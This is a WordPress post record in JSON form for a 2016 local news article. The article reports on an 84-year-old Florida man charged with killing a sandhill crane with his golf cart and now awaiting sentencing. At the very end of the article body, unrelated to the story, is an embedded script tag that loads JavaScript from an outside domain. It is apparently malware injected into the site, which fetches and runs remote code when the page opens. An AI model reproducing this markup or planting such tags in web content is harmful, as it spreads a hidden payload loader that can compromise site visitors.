{"id":210230,"date":"2016-10-11T08:31:27","date_gmt":"2016-10-11T12:31:27","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=210230"},"modified":"2017-11-04T15:11:42","modified_gmt":"2017-11-04T19:11:42","slug":"man-charged-killing-sandhill-crane-scheduled-sentencing","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/man-charged-killing-sandhill-crane-scheduled-sentencing\/","title":{"rendered":"Man Charged with Killing Sandhill Crane Scheduled for Sentencing"},"content":{"rendered":"<p><strong>TAVARES &#8211;\u00a0<\/strong>A man who was charged for running over and killing a Sandhill Crane with his golf cart in Spanish Village is scheduled for sentencing according to court records.<\/p>\n<p>84-year-old Marvin Hicks was charged with killing\u00a0an endangered species after an investigation by Florida Fish and Wildlife in May earlier this year.<\/p>\n<p>During the investigation, witnesses told investigators that Hicks was riding in a golf cart with another woman when he chased several of the Sandhill Cranes around\u00a0in circles at Spanish Village in Leesburg and ran over one of the birds killing it.<\/p>\n<p>Florida Fish and Wildlife officer, Jared Beard, stated in a report that when he was investigating the incident, Hicks approached him and said, &#8220;Hi, my name is Marvin, and I am the one who ran over the Sandhill Crane.&#8221;<\/p>\n<p>According to Florida Fish and Wildlife, the Sandhill Crane is a federally protected endangered species in Florida making the incident a felony offense.<\/p>\n<p>Hicks was originally scheduled for arraignment on Monday, however, according to court records, Hicks&#8217;s attorney, Hal Uhrig filed a motion to waive the arraignment and a request for a jury trial.<\/p>\n<p>Hicks is now scheduled for a Pretrial Negotiation Conference on November 1st and for sentencing on November 7th at the Lake County Judicial Center.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TAVARES &#8211;\u00a0A man who was charged for running over and killing a Sandhill Crane with his golf cart in Spanish Village is scheduled for sentencing&#8230;<\/p>\n","protected":false},"author":1,"featured_media":210231,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[1835,1831,1025,216,1837,57,1836,1834,1833,1832,1830,1840,1839,1838],"class_list":["post-210230","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-bird","tag-crane","tag-endangered","tag-felony","tag-fish","tag-florida","tag-fwc","tag-hicks","tag-marvin","tag-sandhill","tag-sandhill-crane","tag-sentencing","tag-species","tag-wildlife","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/10\/sandhill-crane.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/210230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=210230"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/210230\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/210231"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=210230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=210230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=210230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}